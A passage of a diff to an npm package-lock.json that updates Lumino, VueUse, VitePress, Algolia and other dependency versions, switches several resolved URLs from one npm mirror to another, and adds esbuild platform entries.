"@jupyterlab/translation": "^4.0.3", "@lumino/algorithm": "^2.0.0", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -1115,13 +1137,13 @@ "integrity": "sha512-SwM/8U1zlMWMJj00wTCThdTUit9zap2Xghuo4uUxvZ+mfog5b1UIk2j1dP8TPpzEXHCDPEb85s2/ERo1tee3Dw==" }, "node_modules/@lumino/application": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/@lumino/application/-/application-2.1.1.tgz", - "integrity": "sha512-TjkM3Iwt6pxv6pksEXSCXRxp1DLCsyHgTiURYETeRZBnRXTDJzhjPQr4K1VOZRH1ToLeeVNoyHmI+b9rWQSewQ==", + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/@lumino/application/-/application-2.2.0.tgz", + "integrity": "sha512-hivdDH2/YiOLtvsfY60GSUc+d6Rxh07dz6wp8ZnoalFmzdqqI8mcW4H30PchVdmqxXK0qxZIjLlP9A3fOu/xIw==", "dependencies": { - "@lumino/commands": "^2.1.1", + "@lumino/commands": "^2.1.2", "@lumino/coreutils": "^2.1.1", - "@lumino/widgets": "^2.1.1" + "@lumino/widgets": "^2.2.0" } }, "node_modules/@lumino/application/node_modules/@lumino/coreutils": { @@ -1138,9 +1160,9 @@ } }, "node_modules/@lumino/commands": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/@lumino/commands/-/commands-2.1.1.tgz", - "integrity": "sha512-KaEkRCemZ7BZM4wCvsLx+oSdPxdggdg0p+1+FXm8d9adsVV8xwxrEAAgEP4/YPytexgyf7OnKT9aOpuss/VGjA==", + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/@lumino/commands/-/commands-2.1.2.tgz", + "integrity": "sha512-wdA7kx2z0oygD44yQo5Tlk+yViKqmjTqwQSg2jfKfGyVOrwM3i1NXdZ8ntIV8WQIHmg24D2WqElwjUq5G7bGlw==", "dependencies": { "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", @@ -1178,9 +1200,9 @@ "integrity": "sha512-GYsz6CS6Gd+7r9IBe/0m+3/xAuOKrjfiXwWt7OLsOM1icRv93yS+gxleCLp2+LSwoqU90sqfav+uYABtPkA4QA==" }, "node_modules/@lumino/dragdrop": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/@lumino/dragdrop/-/dragdrop-2.1.1.tgz", - "integrity": "sha512-TRrKo8sWx0cnZ1X8U8Rqijd0lQ82Fgu+BseVy3zDYiANwt9jMMOPjp1qzVY2/lDCmuZptYbUKXOznS0khzCUTg==", + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/@lumino/dragdrop/-/dragdrop-2.1.2.tgz", + "integrity": "sha512-89Sc2HpGHQnzQx4/A/oVmS1uOfy4YjRJtNvdr/7zoUeJTib9vxKvlzrsRopLqvmyQPzJMnulEkiWuWsgzNnLeA==", "dependencies": { "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1" @@ -1248,16 +1270,16 @@ } }, "node_modules/@lumino/widgets": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/@lumino/widgets/-/widgets-2.1.1.tgz", - "integrity": "sha512-SpZ9ekxrc1KSdP8DqAUyTyCfAbBl0swyzzYI9bXNnmi6DzUGSsgE2c985pl+tY8DXHIIOVHQey267psZ35Hp1w==", + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/@lumino/widgets/-/widgets-2.2.0.tgz", + "integrity": "sha512-nQ5UXjcl+Tvddeev0We5aoW2erm5KffKCJZEo6/1i4t2cj90v2ndqtXtbiCjeQOBDojIH6u1BVPtUExTh00cbA==", "dependencies": { "@lumino/algorithm": "^2.0.0", - "@lumino/commands": "^2.1.1", + "@lumino/commands": "^2.1.2", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", "@lumino/domutils": "^2.0.0", - "@lumino/dragdrop": "^2.1.1", + "@lumino/dragdrop": "^2.1.2", "@lumino/keyboard": "^2.0.0", "@lumino/messaging": "^2.0.0", "@lumino/properties": "^2.0.0", @@ -1271,9 +1293,9 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@rjsf/core": { - "version": "5.8.1", - "resolved": "https://registry.npmmirror.com/@rjsf/core/-/core-5.8.1.tgz", - "integrity": "sha512-+lJKK/fdVO+DqKhSzSY8bjyAv5weoLw44d/DnCn2U8/l9qY0nqfNSvG6gyZIC9kCNnzLS/76XFAltWXgtjjzFQ==", + "version": "5.9.0", + "resolved": "https://registry.npmmirror.com/@rjsf/core/-/core-5.9.0.tgz", + "integrity": "sha512-HYgnWKTGVfbj6bs1O9SYyw4VgBfoISZeQti259aiKK08XDVH+tgThxBMX4CyMjC/K9I4ralRV9KRlGO1un0DzQ==", "dependencies": { "lodash": "^4.17.21", "lodash-es": "^4.17.21", @@ -1290,9 +1312,9 @@ } }, "node_modules/@rjsf/utils": { - "version": "5.8.1", - "resolved": "https://registry.npmmirror.com/@rjsf/utils/-/utils-5.8.1.tgz", - "integrity": "sha512-kzWVNAW417ADG0nSEPxpqYzLrtzi9tKCCn5rOuwt6FIvSrtkatISBekyKNeycGPUfQR9VkROGrcG8cz10xUs6g==", + "version": "5.9.0", + "resolved": "https://registry.npmmirror.com/@rjsf/utils/-/utils-5.9.0.tgz", + "integrity": "sha512-+UBRrbHgbG/y6Lj32O0U5oiNpbpKZqsFxPKuOCmOqpsfwmb072AyGoHqskc2e05Ur/iURcbBu3xt72aF1azLmQ==", "dependencies": { "json-schema-merge-allof": "^0.8.1", "jsonpointer": "^5.0.1", @@ -1313,9 +1335,9 @@ "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==" }, "node_modules/@types/react": { - "version": "18.2.6", - "resolved": "https://registry.npmmirror.com/@types/react/-/react-18.2.6.tgz", - "integrity": "sha512-wRZClXn//zxCFW+ye/D2qY65UsYP1Fpex2YXorHc8awoNamkMZSvBxwxdYVInsHOZZd2Ppq8isnSzJL5Mpf8OA==", + "version": "18.2.15", + "resolved": "https://registry.npmmirror.com/@types/react/-/react-18.2.15.tgz", + "integrity": "sha512-oEjE7TQt1fFTFSbf8kkNuc798ahTUzn3Le67/PWjE8MAfYAD/qB7O8hSTcromLFqHCt9bcdOg5GXMokzTjJ5SA==", "dependencies": { "@types/prop-types": "*", "@types/scheduler": "*", @@ -1329,10 +1351,9 @@ }, "node_modules/@types/web-bluetooth": { "version": "0.0.17", - "resolved": "https://repo.huaweicloud.com/repository/npm/@types/web-bluetooth/-/web-bluetooth-0.0.17.tgz", + "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.17.tgz", "integrity": "sha512-4p9vcSmxAayx72yn70joFoL44c9MO/0+iVEBIQXe3v2h2SiAsEIo/G5v6ObFWvNKRFjbrVadNf9LqEEZeQPzdA==", - "dev": true, - "license": "MIT" + "dev": true }, "node_modules/@vitejs/plugin-vue": { "version": "4.2.3", @@ -1477,28 +1498,23 @@ "license": "MIT" }, "node_modules/@vueuse/core": { - "version": "10.1.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/core/-/core-10.1.2.tgz", - "integrity": "sha512-roNn8WuerI56A5uiTyF/TEYX0Y+VKlhZAF94unUfdhbDUI+NfwQMn4FUnUscIRUhv3344qvAghopU4bzLPNFlA==", + "version": "10.2.1", + "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-10.2.1.tgz", + "integrity": "sha512-c441bfMbkAwTNwVRHQ0zdYZNETK//P84rC01aP2Uy/aRFCiie9NE/k9KdIXbno0eDYP5NPUuWv0aA/I4Unr/7w==", "dev": true, - "license": "MIT", "dependencies": { "@types/web-bluetooth": "^0.0.17", - "@vueuse/metadata": "10.1.2", - "@vueuse/shared": "10.1.2", - "vue-demi": ">=0.14.0" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" + "@vueuse/metadata": "10.2.1", + "@vueuse/shared": "10.2.1", + "vue-demi": ">=0.14.5" } }, "node_modules/@vueuse/core/node_modules/vue-demi": { "version": "0.14.5", - "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.5.tgz", "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", "dev": true, "hasInstallScript": true, - "license": "MIT", "bin": { "vue-demi-fix": "bin/vue-demi-fix.js", "vue-demi-switch": "bin/vue-demi-switch.js" @@ -1506,9 +1522,6 @@ "engines": { "node": ">=12" }, - "funding": { - "url": "https://github.com/sponsors/antfu" - }, "peerDependencies": { "@vue/composition-api": "^1.0.0-rc.1", "vue": "^3.0.0-0 || ^2.6.0" @@ -1520,18 +1533,14 @@ } }, "node_modules/@vueuse/integrations": { - "version": "10.1.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/integrations/-/integrations-10.1.2.tgz", - "integrity": "sha512-wUpG3Wv6LiWerOwCzOAM0iGhNQ4vfFUTkhj/xQy7TLXduh2M3D8N08aS0KqlxsejY6R8NLxydDIM+68QfHZZ8Q==", + "version": "10.2.1", + "resolved": "https://registry.npmmirror.com/@vueuse/integrations/-/integrations-10.2.1.tgz", + "integrity": "sha512-FDP5lni+z9FjHE9H3xuvwSjoRV9U8jmDvJpmHPCBjUgPGYRynwb60eHWXCFJXLUtb4gSIHy0e+iaEbrKdalCkQ==", "dev": true, - "license": "MIT", "dependencies": { - "@vueuse/core": "10.1.2", - "@vueuse/shared": "10.1.2", - "vue-demi": ">=0.14.0" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" + "@vueuse/core": "10.2.1", + "@vueuse/shared": "10.2.1", + "vue-demi": ">=0.14.5" }, "peerDependencies": { "async-validator": "*", @@ -1588,11 +1597,10 @@ }, "node_modules/@vueuse/integrations/node_modules/vue-demi": { "version": "0.14.5", - "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.5.tgz", "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", "dev": true, "hasInstallScript": true, - "license": "MIT", "bin": { "vue-demi-fix": "bin/vue-demi-fix.js", "vue-demi-switch": "bin/vue-demi-switch.js" @@ -1600,9 +1608,6 @@ "engines": { "node": ">=12" }, - "funding": { - "url": "https://github.com/sponsors/antfu" - }, "peerDependencies": { "@vue/composition-api": "^1.0.0-rc.1", "vue": "^3.0.0-0 || ^2.6.0" @@ -1614,35 +1619,26 @@ } }, "node_modules/@vueuse/metadata": { - "version": "10.1.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/metadata/-/metadata-10.1.2.tgz", - "integrity": "sha512-3mc5BqN9aU2SqBeBuWE7ne4OtXHoHKggNgxZR2K+zIW4YLsy6xoZ4/9vErQs6tvoKDX6QAqm3lvsrv0mczAwIQ==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/antfu" - } + "version": "10.2.1", + "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.2.1.tgz", + "integrity": "sha512-3Gt68mY/i6bQvFqx7cuGBzrCCQu17OBaGWS5JdwISpMsHnMKKjC2FeB5OAfMcCQ0oINfADP3i9A4PPRo0peHdQ==", + "dev": true }, "node_modules/@vueuse/shared": { - "version": "10.1.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/shared/-/shared-10.1.2.tgz", - "integrity": "sha512-1uoUTPBlgyscK9v6ScGeVYDDzlPSFXBlxuK7SfrDGyUTBiznb3mNceqhwvZHjtDRELZEN79V5uWPTF1VDV8svA==", + "version": "10.2.1", + "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.2.1.tgz", + "integrity": "sha512-QWHq2bSuGptkcxx4f4M/fBYC3Y8d3M2UYyLsyzoPgEoVzJURQ0oJeWXu79OiLlBb8gTKkqe4mO85T/sf39mmiw==", "dev": true, - "license": "MIT", "dependencies": { - "vue-demi": ">=0.14.0" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" + "vue-demi": ">=0.14.5" } }, "node_modules/@vueuse/shared/node_modules/vue-demi": { "version": "0.14.5", - "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.5.tgz", "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", "dev": true, "hasInstallScript": true, - "license": "MIT", "bin": { "vue-demi-fix": "bin/vue-demi-fix.js", "vue-demi-switch": "bin/vue-demi-switch.js" @@ -1650,9 +1646,6 @@ "engines": { "node": ">=12" }, - "funding": { - "url": "https://github.com/sponsors/antfu" - }, "peerDependencies": { "@vue/composition-api": "^1.0.0-rc.1", "vue": "^3.0.0-0 || ^2.6.0" @@ -1675,25 +1668,25 @@ } }, "node_modules/algoliasearch": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.17.2.tgz", - "integrity": "sha512-VFu43JJNYIW74awp7oeQcQsPcxOhd8psqBDTfyNO2Zt6L1NqnNMTVnaIdQ+8dtKqUDBqQZp0szPxECvX8CK2Fg==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.18.0.tgz", + "integrity": "sha512-pCuVxC1SVcpc08ENH32T4sLKSyzoU7TkRIDBMwSLfIiW+fq4znOmWDkAygHZ6pRcO9I1UJdqlfgnV7TRj+MXrA==", "dev": true, "dependencies": { - "@algolia/cache-browser-local-storage": "4.17.2", - "@algolia/cache-common": "4.17.2", - "@algolia/cache-in-memory": "4.17.2", - "@algolia/client-account": "4.17.2", - "@algolia/client-analytics": "4.17.2", - "@algolia/client-common": "4.17.2", - "@algolia/client-personalization": "4.17.2", - "@algolia/client-search": "4.17.2", - "@algolia/logger-common": "4.17.2", - "@algolia/logger-console": "4.17.2", - "@algolia/requester-browser-xhr": "4.17.2", - "@algolia/requester-common": "4.17.2", - "@algolia/requester-node-http": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/cache-browser-local-storage": "4.18.0", + "@algolia/cache-common": "4.18.0", + "@algolia/cache-in-memory": "4.18.0", + "@algolia/client-account": "4.18.0", + "@algolia/client-analytics": "4.18.0", + "@algolia/client-common": "4.18.0", + "@algolia/client-personalization": "4.18.0", + "@algolia/client-search": "4.18.0", + "@algolia/logger-common": "4.18.0", + "@algolia/logger-console": "4.18.0", + "@algolia/requester-browser-xhr": "4.18.0", + "@algolia/requester-common": "4.18.0", + "@algolia/requester-node-http": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "node_modules/ansi-colors": { @@ -1912,6 +1905,7 @@ "dev": true, "hasInstallScript": true, "license": "MIT", + "peer": true, "bin": { "esbuild": "bin/esbuild" }, @@ -1982,13 +1976,12 @@ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" }, "node_modules/focus-trap": { - "version": "7.4.3", - "resolved": "https://repo.huaweicloud.com/repository/npm/focus-trap/-/focus-trap-7.4.3.tgz", - "integrity": "sha512-BgSSbK4GPnS2VbtZ50VtOv1Sti6DIkj3+LkVjiWMNjLeAp1SH1UlLx3ULu/DCu4vq5R4/uvTm+zrvsMsuYmGLg==", + "version": "7.5.2", + "resolved": "https://registry.npmmirror.com/focus-trap/-/focus-trap-7.5.2.tgz", + "integrity": "sha512-p6vGNNWLDGwJCiEjkSK6oERj/hEyI9ITsSwIUICBoKLlWiTWXJRfQibCwcoi50rTZdbi87qDtUlMCmQwsGSgPw==", "dev": true, - "license": "MIT", "dependencies": { - "tabbable": "^6.1.2" + "tabbable": "^6.2.0" } }, "node_modules/free-style": { @@ -2375,9 +2368,9 @@ "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" }, "node_modules/postcss": { - "version": "8.4.23", - "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.4.23.tgz", - "integrity": "sha512-bQ3qMcpF6A/YjR55xtoTr0jGOlnPOKAIMdOWiv0EIT6HVPEaJiJB4NLljSbiHoC2RX7DN5Uvjtpbg1NPdwv1oA==", + "version": "8.4.25", + "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.4.25.tgz", + "integrity": "sha512-7taJ/8t2av0Z+sQEvNzCkpDynl0tX3uJMCODi6nT3PfASC7dYCWV9aQ+uiCf+KBD4SEFcu+GvJdGdwzQ6OSjCw==", "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", @@ -2388,9 +2381,9 @@ } }, "node_modules/preact": { - "version": "10.15.1", - "resolved": "https://registry.npmmirror.com/preact/-/preact-10.15.1.tgz", - "integrity": "sha512-qs2ansoQEwzNiV5eAcRT1p1EC/dmEzaATVDJNiB3g2sRDWdA7b7MurXdJjB2+/WQktGWZwxvDrnuRFbWuIr64g==", + "version": "10.16.0", + "resolved": "https://registry.npmmirror.com/preact/-/preact-10.16.0.tgz", + "integrity": "sha512-XTSj3dJ4roKIC93pald6rWuB2qQJO9gO2iLLyTe87MrjQN+HklueLsmskbywEWqCHlclgz3/M4YLL2iBr9UmMA==", "dev": true }, "node_modules/prop-types": { @@ -2463,11 +2456,10 @@ "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" }, "node_modules/rollup": { - "version": "3.23.0", - "resolved": "https://repo.huaweicloud.com/repository/npm/rollup/-/rollup-3.23.0.tgz", - "integrity": "sha512-h31UlwEi7FHihLe1zbk+3Q7z1k/84rb9BSwmBSr/XjOCEaBJ2YyedQDuM0t/kfOS0IxM+vk1/zI9XxYj9V+NJQ==", + "version": "3.26.2", + "resolved": "https://registry.npmmirror.com/rollup/-/rollup-3.26.2.tgz", + "integrity": "sha512-6umBIGVz93er97pMgQO08LuH3m6PUb3jlDUUGFsNJB6VgTCUaDFpupf5JfU30529m/UKOgmiX+uY6Sx8cOYpLA==", "dev": true, - "license": "MIT", "bin": { "rollup": "dist/bin/rollup" }, @@ -2501,9 +2493,9 @@ } }, "node_modules/search-insights": { - "version": "2.6.0", - "resolved": "https://registry.npmmirror.com/search-insights/-/search-insights-2.6.0.tgz", - "integrity": "sha512-vU2/fJ+h/Mkm/DJOe+EaM5cafJv/1rRTZpGJTuFPf/Q5LjzgMDsqPdSaZsAe+GAWHHsfsu+rQSAn6c8IGtBEVw==", + "version": "2.7.0", + "resolved": "https://registry.npmmirror.com/search-insights/-/search-insights-2.7.0.tgz", + "integrity": "sha512-GLbVaGgzYEKMvuJbHRhLi1qoBFnjXZGZ6l4LxOYPCp4lI2jDRB3jPU9/XNhMwv6kvnA9slTreq6pvK+b3o3aqg==", "dev": true, "peer": true, "engines": { @@ -2532,9 +2524,9 @@ } }, "node_modules/shiki": { - "version": "0.14.2", - "resolved": "https://registry.npmmirror.com/shiki/-/shiki-0.14.2.tgz", - "integrity": "sha512-ltSZlSLOuSY0M0Y75KA+ieRaZ0Trf5Wl3gutE7jzLuIcWxLp5i/uEnLoQWNvgKXQ5OMpGkJnVMRLAuzjc0LJ2A==", + "version": "0.14.3", + "resolved": "https://registry.npmmirror.com/shiki/-/shiki-0.14.3.tgz", + "integrity": "sha512-U3S/a+b0KS+UkTyMjoNojvTgrBHjgp7L6ovhFVZsXmBGnVdQ4K4U9oK0z63w538S91ATngv1vXigHCSWOwnr+g==", "dev": true, "dependencies": { "ansi-sequence-parser": "^1.1.0", @@ -2589,11 +2581,10 @@ "integrity": "sha512-78Jv8kYJdjbvRwwijtCevYADfsI0lGzYJe4mMFdceO8l75DFFDoqBhR1jVDicDRRaX4//g1u9wKeo+ztc2h1Rw==" }, "node_modules/tabbable": { - "version": "6.1.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/tabbable/-/tabbable-6.1.2.tgz", - "integrity": "sha512-qCN98uP7i9z0fIS4amQ5zbGBOq+OSigYeGvPy7NDk8Y9yncqDZ9pRPgfsc2PJIVM9RrJj7GIfuRgmjoUU9zTHQ==", - "dev": true, - "license": "MIT" + "version": "6.2.0", + "resolved": "https://registry.npmmirror.com/tabbable/-/tabbable-6.2.0.tgz", + "integrity": "sha512-Cat63mxsVJlzYvN51JmVXIgNoUokrIaT2zLclCXjRd8boZ0004U4KCs/sToJ75C6sdlByWxpYnb5Boif1VSFew==", + "dev": true }, "node_modules/tr46": { "version": "0.0.3", @@ -2690,6 +2681,7 @@ "integrity": "sha512-qsTNZjO9NoJNW7KnOrgYwczm0WctJ8m/yqYAMAK9Lxt4SoySUfS5S8ia9K7JHpa3KEeMfyF8LoJ3c5NeBJy6pg==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "esbuild": "^0.17.5", "postcss": "^8.4.23", @@ -2734,29 +2726,470 @@ } }, "node_modules/vitepress": { - "version": "1.0.0-beta.3", - "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-beta.3.tgz", - "integrity": "sha512-GR5Pvr/o343NN1M4Na1shhDYZRrQbjmLq7WE0lla0H8iDPAsHE8agTHLWfu3FWx+3q2KA29sv16+0O9RQKGjlA==", + "version": "1.0.0-beta.5", + "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-beta.5.tgz", + "integrity": "sha512-/RjqqRsSEKkzF6HhK5e5Ij+bZ7ETb9jNCRRgIMm10gJ+ZLC3D1OqkE465lEqCeJUgt2HZ6jmWjDqIBfrJSpv7w==", "dev": true, "dependencies": { - "@docsearch/css": "^3.5.0", - "@docsearch/js": "^3.5.0", + "@docsearch/css": "^3.5.1", + "@docsearch/js": "^3.5.1", "@vitejs/plugin-vue": "^4.2.3", "@vue/devtools-api": "^6.5.0", - "@vueuse/core": "^10.1.2", - "@vueuse/integrations": "^10.1.2", + "@vueuse/core": "^10.2.1", + "@vueuse/integrations": "^10.2.1", "body-scroll-lock": "4.0.0-beta.0", "focus-trap": "^7.4.3", "mark.js": "8.11.1", "minisearch": "^6.1.0", - "shiki": "^0.14.2", - "vite": "^4.3.9", + "shiki": "^0.14.3", + "vite": "4.4.0-beta.3", "vue": "^3.3.4" }, "bin": { "vitepress": "bin/vitepress.js" } }, + "node_modules/vitepress/node_modules/@esbuild/android-arm": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.18.12.tgz", + "integrity": "sha512-LIxaNIQfkFZbTLb4+cX7dozHlAbAshhFE5PKdro0l+FnCpx1GDJaQ2WMcqm+ToXKMt8p8Uojk/MFRuGyz3V5Sw==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/android-arm64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.18.12.tgz", + "integrity": "sha512-BMAlczRqC/LUt2P97E4apTBbkvS9JTJnp2DKFbCwpZ8vBvXVbNdqmvzW/OsdtI/+mGr+apkkpqGM8WecLkPgrA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/android-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.18.12.tgz", + "integrity": "sha512-zU5MyluNsykf5cOJ0LZZZjgAHbhPJ1cWfdH1ZXVMXxVMhEV0VZiZXQdwBBVvmvbF28EizeK7obG9fs+fpmS0eQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/darwin-arm64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.18.12.tgz", + "integrity": "sha512-zUZMep7YONnp6954QOOwEBwFX9svlKd3ov6PkxKd53LGTHsp/gy7vHaPGhhjBmEpqXEXShi6dddjIkmd+NgMsA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/darwin-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.18.12.tgz", + "integrity": "sha512-ohqLPc7i67yunArPj1+/FeeJ7AgwAjHqKZ512ADk3WsE3FHU9l+m5aa7NdxXr0HmN1bjDlUslBjWNbFlD9y12Q==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/freebsd-arm64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.18.12.tgz", + "integrity": "sha512-GIIHtQXqgeOOqdG16a/A9N28GpkvjJnjYMhOnXVbn3EDJcoItdR58v/pGN31CHjyXDc8uCcRnFWmqaJt24AYJg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/freebsd-x64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.18.12.tgz", + "integrity": "sha512-zK0b9a1/0wZY+6FdOS3BpZcPc1kcx2G5yxxfEJtEUzVxI6n/FrC2Phsxj/YblPuBchhBZ/1wwn7AyEBUyNSa6g==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-arm": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.18.12.tgz", + "integrity": "sha512-y75OijvrBE/1XRrXq1jtrJfG26eHeMoqLJ2dwQNwviwTuTtHGCojsDO6BJNF8gU+3jTn1KzJEMETytwsFSvc+Q==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-arm64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.18.12.tgz", + "integrity": "sha512-JKgG8Q/LL/9sw/iHHxQyVMoQYu3rU3+a5Z87DxC+wAu3engz+EmctIrV+FGOgI6gWG1z1+5nDDbXiRMGQZXqiw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-ia32": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.18.12.tgz", + "integrity": "sha512-yoRIAqc0B4lDIAAEFEIu9ttTRFV84iuAl0KNCN6MhKLxNPfzwCBvEMgwco2f71GxmpBcTtn7KdErueZaM2rEvw==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-loong64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.18.12.tgz", + "integrity": "sha512-qYgt3dHPVvf/MgbIBpJ4Sup/yb9DAopZ3a2JgMpNKIHUpOdnJ2eHBo/aQdnd8dJ21X/+sS58wxHtA9lEazYtXQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-mips64el": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.18.12.tgz", + "integrity": "sha512-wHphlMLK4ufNOONqukELfVIbnGQJrHJ/mxZMMrP2jYrPgCRZhOtf0kC4yAXBwnfmULimV1qt5UJJOw4Kh13Yfg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-ppc64": { + "version": "0.18.12", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.18.12.tgz", + "integrity": "sha512-TeN//1Ft20ZZW41+zDSdOI/Os1bEq5dbvBvYkberB7PHABbRcsteeoNVZFlI0YLpGdlBqohEpjrn06kv8heCJg==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-riscv64": { + "version": "0.18.12", + "resolved": 